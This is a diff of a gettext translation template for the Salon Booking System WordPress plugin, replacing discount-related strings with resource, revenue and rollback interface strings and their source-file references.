build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91\n-msgid \"User logged out successfully.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:172\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:172\n+msgid \"Resource published.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:25\n-msgid \"Booking date\"\n+#. %s will be replaced by the revision\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:168\n+#, php-format\n+msgid \"Resource restored to revision from %s\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:26\n-msgid \"Booking amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174\n+msgid \"Resource saved.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:27\n-msgid \"Booking discount\"\n+#. %1$s will be replaced by the date\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180\n+#, php-format\n+msgid \"Resource scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:51\n-msgid \"Discount name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:176\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:176\n+msgid \"Resource submitted.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:52\n-msgid \"Discount code\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:165\n+msgid \"Resource updated.\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:53\n-msgid \"Discount amoount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_resources.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:211\n+msgid \"Resources\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:54\n-msgid \"Discount type\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:220\n+msgid \"Resources Archive\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:55\n-msgid \"Discount max usage limit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:28\n+msgid \"Restart Setup Wizard\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:56\n-msgid \"Discount current usage\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:619\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:619\n+msgid \"Restore booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59\n-msgid \"Is active?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:299\n+msgid \"Returning customer?\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88\n-msgid \"Inactive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:432\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:432\n+msgid \"Revenue\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:116\n-msgid \"Export discounts to a CSV file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:200\n+msgid \"revenue\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:122\n-msgid \"DISCOUNT NAME\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:188\n+msgid \"Revenue & Bookings Trend\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:123\n-msgid \"DISCOUNT AMOUNT\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:41\n+msgid \"Rollback database\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27\n-msgid \"Coupon code\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:402\n+msgid \"Rollback Options\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, views\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24\n-msgid \"Automatic discount\"\n+#. %s will be replaced by the version number rollback\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:13\n+#, php-format\n+msgid \"Rollback to %s version\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:34\n-msgid \"Discount details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:397\n+msgid \"Rollback to Previous Version\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:44, 